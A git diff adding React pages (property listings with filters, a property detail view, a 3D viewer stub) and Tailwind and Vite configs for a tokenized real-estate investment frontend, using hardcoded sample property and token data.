+ ); +} + +export default Privacy; \ No newline at end of file diff --git a/src/pages/Properties.jsx b/src/pages/Properties.jsx new file mode 100644 index 0000000..fc5123f --- /dev/null +++ b/src/pages/Properties.jsx @@ -0,0 +1,377 @@ +import { useState } from 'react'; +import { Link } from 'react-router-dom'; +import { motion } from 'framer-motion'; +import { FiFilter, FiArrowRight, FiTrendingUp, FiDollarSign } from 'react-icons/fi'; +import { FaEthereum } from 'react-icons/fa'; + +function Properties() { + const [showFilters, setShowFilters] = useState(false); + const [filters, setFilters] = useState({ + priceRange: 'all', + propertyType: 'all', + location: '', + minROI: '', + maxROI: '', + fundingStatus: 'all', + sortBy: 'newest' + }); + + const properties = [ + { + id: 1, + title: 'Modern Villa with Pool', + price: { + usd: 850000, + eth: 425 + }, + location: 'Beverly Hills, CA', + image: 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80', + type: 'villa', + roi: '7.2%', + metrics: { + totalInvestors: 142, + funded: '89%', + minInvestment: '$10', + monthlyIncome: '$520', + appreciation: '4.5%' + }, + status: 'Active Investment', + features: ['Pool', 'Smart Home', 'Solar Panels'], + tokenDetails: { + totalTokens: 85000, + availableTokens: 9350, + tokenPrice: '$10' + } + }, + { + id: 2, + title: 'Luxury Penthouse', + price: { + usd: 1200000, + eth: 600 + }, + location: 'Manhattan, NY', + image: 'https://images.unsplash.com/photo-1512917774080-9991f1c4c750?w=800&q=80', + type: 'apartment', + roi: '6.8%', + metrics: { + totalInvestors: 203, + funded: '95%', + minInvestment: '$10', + monthlyIncome: '$680', + appreciation: '5.2%' + }, + status: 'Almost Funded', + features: ['Doorman', 'Gym', 'Terrace'], + tokenDetails: { + totalTokens: 120000, + availableTokens: 6000, + tokenPrice: '$10' + } + }, + { + id: 3, + title: 'Waterfront Estate', + price: { + usd: 2100000, + eth: 1050 + }, + location: 'Miami Beach, FL', + image: 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80', + type: 'house', + roi: '7.5%', + metrics: { + totalInvestors: 89, + funded: '45%', + minInvestment: '$10', + monthlyIncome: '$1200', + appreciation: '6.1%' + }, + status: 'New Listing', + features: ['Waterfront', 'Dock', 'Wine Cellar'], + tokenDetails: { + totalTokens: 210000, + availableTokens: 115500, + tokenPrice: '$10' + } + } + ]; + + const handleFilterChange = (key, value) => { + setFilters(prev => ({ ...prev, [key]: value })); + }; + + const filteredProperties = properties.filter(property => { + if (filters.propertyType !== 'all' && property.type !== filters.propertyType) return false; + if (filters.location && !property.location.toLowerCase().includes(filters.location.toLowerCase())) return false; + if (filters.minROI && parseFloat(property.roi) < parseFloat(filters.minROI)) return false; + if (filters.maxROI && parseFloat(property.roi) > parseFloat(filters.maxROI)) return false; + + if (filters.priceRange !== 'all') { + const [min, max] = filters.priceRange.split('-').map(Number); + if (max && (property.price.usd < min || property.price.usd > max)) return false; + if (!max && property.price.usd < min) return false; + } + + if (filters.fundingStatus !== 'all') { + const fundedPercentage = parseInt(property.metrics.funded); + switch (filters.fundingStatus) { + case 'new': + if (fundedPercentage > 30) return false; + break; + case 'active': + if (fundedPercentage < 30 || fundedPercentage >= 90) return false; + break; + case 'almostFunded': + if (fundedPercentage < 90) return false; + break; + default: + break + } + } + + return true; + }); + + // Sort properties based on selected criteria + const sortedProperties = [...filteredProperties].sort((a, b) => { + switch (filters.sortBy) { + case 'priceAsc': + return a.price.usd - b.price.usd; + case 'priceDesc': + return b.price.usd - a.price.usd; + case 'roiDesc': + return parseFloat(b.roi) - parseFloat(a.roi); + case 'fundingDesc': + return parseInt(b.metrics.funded) - parseInt(a.metrics.funded); + default: + return 0; + } + }); + + return ( +
+ {/* Header */} +
+
+
+

Investment Properties

+
+ +
+
+
+
+ + {/* Filters */} + {showFilters && ( +
+
+
+
+ + +
+ +
+ + +
+ +
+ + handleFilterChange('location', e.target.value)} + /> +
+ +
+ + handleFilterChange('minROI', e.target.value)} + /> +
+ +
+ + +
+ +
+ + +
+
+
+
+ )} + + {/* Properties Grid */} +
+
+ {sortedProperties.map((property, index) => ( + + +
+ {property.title} +
+ {property.status} +
+
+
+

{property.title}

+

{property.location}

+ + {/* Price and ROI */} +
+
+

Investment Price

+
+ + ${property.price.usd.toLocaleString()} +
+
+ + {property.price.eth} ETH +
+
+
+

Annual ROI

+
+ + {property.roi} +
+
+
+ + {/* Investment Metrics */} +
+
+ Monthly Income + {property.metrics.monthlyIncome} +
+
+ Appreciation + {property.metrics.appreciation} +
+
+ Min Investment + {property.metrics.minInvestment} +
+
+ + {/* Funding Progress */} +
+
+ Funding Progress + {property.metrics.funded} +
+
+
+
+
+ + {/* Token Details */} +
+
+ Available Tokens + + {property.tokenDetails.availableTokens.toLocaleString()} / {property.tokenDetails.totalTokens.toLocaleString()} + +
+
+ Token Price + {property.tokenDetails.tokenPrice} +
+
+ + +
+ + + ))} +
+
+
+ ); +} + +export default Properties; \ No newline at end of file diff --git a/src/pages/Property3D.jsx b/src/pages/Property3D.jsx new file mode 100644 index 0000000..7a17d4c --- /dev/null +++ b/src/pages/Property3D.jsx @@ -0,0 +1,29 @@ +import { useEffect, useState } from "react"; +import { Canvas } from "@react-three/fiber"; +import { Leva } from "leva"; +import { Experience } from "../components/property/Experience"; +import { Overlay } from "../components/property/Overlay"; + +function App() { + const [loading, setLoading] = useState(true); + useEffect(() => { + setTimeout(() => { + setLoading(false); + }, 1000); + }, []); + return ( +
+ {loading ? +
Please wait...
+ : null} +
+ ); +} + +export default App; diff --git a/src/pages/PropertyDetail.jsx b/src/pages/PropertyDetail.jsx new file mode 100644 index 0000000..318382f --- /dev/null +++ b/src/pages/PropertyDetail.jsx @@ -0,0 +1,341 @@ +import { useParams, Link } from 'react-router-dom'; +import { motion } from 'framer-motion'; +import { FiHome, FiMaximize2, FiCalendar, FiTrendingUp, FiUsers, FiDollarSign, FiGrid } from 'react-icons/fi'; +import { FacebookShareButton, TwitterShareButton, LinkedinShareButton } from 'react-share'; +import { FaFacebook, FaTwitter, FaLinkedin, FaEthereum, FaWallet } from 'react-icons/fa'; + +function PropertyDetail() { + const { id } = useParams(); + + const property = { + id: parseInt(id), + title: 'Modern Villa with Pool', + price: { + usd: 850000, + eth: 425 + }, + location: 'Beverly Hills, CA', + type: 'villa', + roi: '7.2%', + metrics: { + totalInvestors: 142, + funded: '89%', + minInvestment: '$10', + monthlyIncome: '$520', + appreciation: '4.5%', + rentalYield: '5.8%', + totalReturn: '10.3%' + }, + status: 'Active Investment', + description: 'This stunning modern villa offers luxurious living spaces with high-end finishes throughout. The property has been tokenized for fractional ownership, allowing investors to participate in this premium real estate opportunity with as little as $10.', + features: [ + 'Swimming Pool', + 'Smart Home System', + 'Gourmet Kitchen', + 'Home Theater', + 'Wine Cellar', + 'Outdoor Kitchen', + 'Fire Pit', + 'Three-Car Garage' + ], + tokenDetails: { + totalTokens: 85000, + availableTokens: 9350, + tokenPrice: '$10', + tokenSymbol: 'VILLA425', + contractAddress: '0x1234...5678', + blockchain: 'Ethereum' + }, + financials: { + grossRent: '$8,500/month', + netRent: '$7,225/month', + expenses: { + management: '8%', + maintenance: '5%', + insurance: '2%', + property_tax: '1.2%' + }, + projectedAppreciation: '4.5% annually' + }, + yearBuilt: 2020, + parkingSpaces: 3, + lotSize: '0.5 acres', + images: [ + 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80', + 'https://images.unsplash.com/photo-1512917774080-9991f1c4c750?w=800&q=80', + 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80' + ], + agent: { + name: 'John Doe', + phone: '+1 (555) 123-4567', + email: 'john@realestate.com', + image: 'https://images.unsplash.com/photo-1472099645785-5658abf4ff4e?w=400&q=80' + } + }; + + const shareUrl = window.location.href; + + return ( +
+ {/* Navigation */} +
+
+
+ Home + / + Properties + / + {property.title} +
+
+
+ + {/* Main Content */} +
+
+ {/* Left Column */} +
+ {/* Image Gallery */} + +
+ {property.title} +
+
+ {property.images.slice(1).map((image, index) => ( +
+ {`${property.title} +
+ ))} +
+
+ + {/* Property Details */} + +

Property Details

+

{property.description}

+ +
+
+ {/* */} + {property.parkingSpaces} Parking +
+
+ + {property.lotSize} +
+
+ + Built {property.yearBuilt} +
+
+ + {property.metrics.totalInvestors} Investors +
+
+ +

Features

+
+ {property.features.map((feature, index) => ( +
+ + {feature} +
+ ))} +
+ + {/* Token Details */} +

Token Information

+
+
+
+

Token Symbol

+

{property.tokenDetails.tokenSymbol}

+
+
+

Token Price

+

{property.tokenDetails.tokenPrice}

+
+
+

Available Tokens

+

{property.tokenDetails.availableTokens.toLocaleString()}

+
+
+

Total Supply

+

{property.tokenDetails.totalTokens.toLocaleString()}

+
+
+

Smart Contract

+

{property.tokenDetails.contractAddress}

+
+
+
+ + {/* Financial Details */} +

Financial Overview

+
+
+

Rental Income

+
+
+ Gross Rent + {property.financials.grossRent} +
+
+ Net Rent + {property.financials.netRent} +
+
+
+
+

Expenses

+
+ {Object.entries(property.financials.expenses).map(([key, value]) => ( +
+ {key.replace('_', ' ').charAt(0).toUpperCase() + key.slice(1)} + {value} +
+ ))} +
+
+
+
+
+ + {/* Right Column */} + + {/* Investment Card */} +
+
+
+

Investment Price

+
+ + ${property.price.usd.toLocaleString()} +
+
+ + {property.price.eth} ETH +
+
+
+

Annual ROI

+
+ + {property.roi} +
+
+
+ + {/* Investment Metrics */} +
+
+ Rental Yield + {property.metrics.rentalYield} +
+
+ Appreciation + {property.metrics.appreciation} +
+
+ Total Return + {property.metrics.totalReturn} +
+
+ + {/* Funding Progress */} +
+
+ Funding Progress + {property.metrics.funded} +
+
+
+
+

+ Min Investment: {property.metrics.minInvestment} +

+
+ + + + View 3D version + + + + +
+ + + + + + + + + +
+
+ + {/* Agent Card */} +
+
+ {property.agent.name} +
+

{property.agent.name}

+

Investment Advisor

+
+
+
+

+ Phone: {property.agent.phone} +

+

+ Email: {property.agent.email} +

+
+ +
+ +
+
+
+ ); +} + +export default PropertyDetail; \ No newline at end of file diff --git a/tailwind.config.js b/tailwind.config.js new file mode 100644 index 0000000..a7ad44a --- /dev/null +++ b/tailwind.config.js @@ -0,0 +1,41 @@ +export default { + content: [ + "./index.html", + "./src/**/*.{js,ts,jsx,tsx}" + ], + theme: { + extend: { + colors: { + "primary": { + '50': '#edf9ff', + '100': '#d6f0ff', + '200': '#b5e7ff', + '300': '#83d9ff', + '400': '#48c2ff', + '500': '#1ea1ff', + '600': '#0682ff', + '700': '#006eff', + '800': '#0854c5', + '900': '#0d4a9b', + '950': '#0e2d5d', + }, + secondary: { + 50: '#f8fafc', + 100: '#f1f5f9', + 200: '#e2e8f0', + 300: '#cbd5e1', + 400: '#94a3b8', + 500: '#64748b', + 600: '#475569', + 700: '#334155', + 800: '#1e293b', + 900: '#0f172a', + }, + }, + fontFamily: { + sans: ['Inter', 'sans-serif'], + }, + }, + }, + plugins: [], +} \ No newline at end of file diff --git a/vite.config.js b/vite.config.js new file mode 100644 index 0000000..f800146 --- /dev/null +++ b/vite.config.js @@ -0,0 +1,19 @@ +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; +import path from "path"; +export default defineConfig({ + plugins: [react()], + resolve: { + alias: { + "@": path.resolve(__dirname, "src"), + }, + }, + server: { + port: 8000, + strictPort: true, + open: true + }, + build: { + outDir: "build", + }, +}); \ No newline at end of file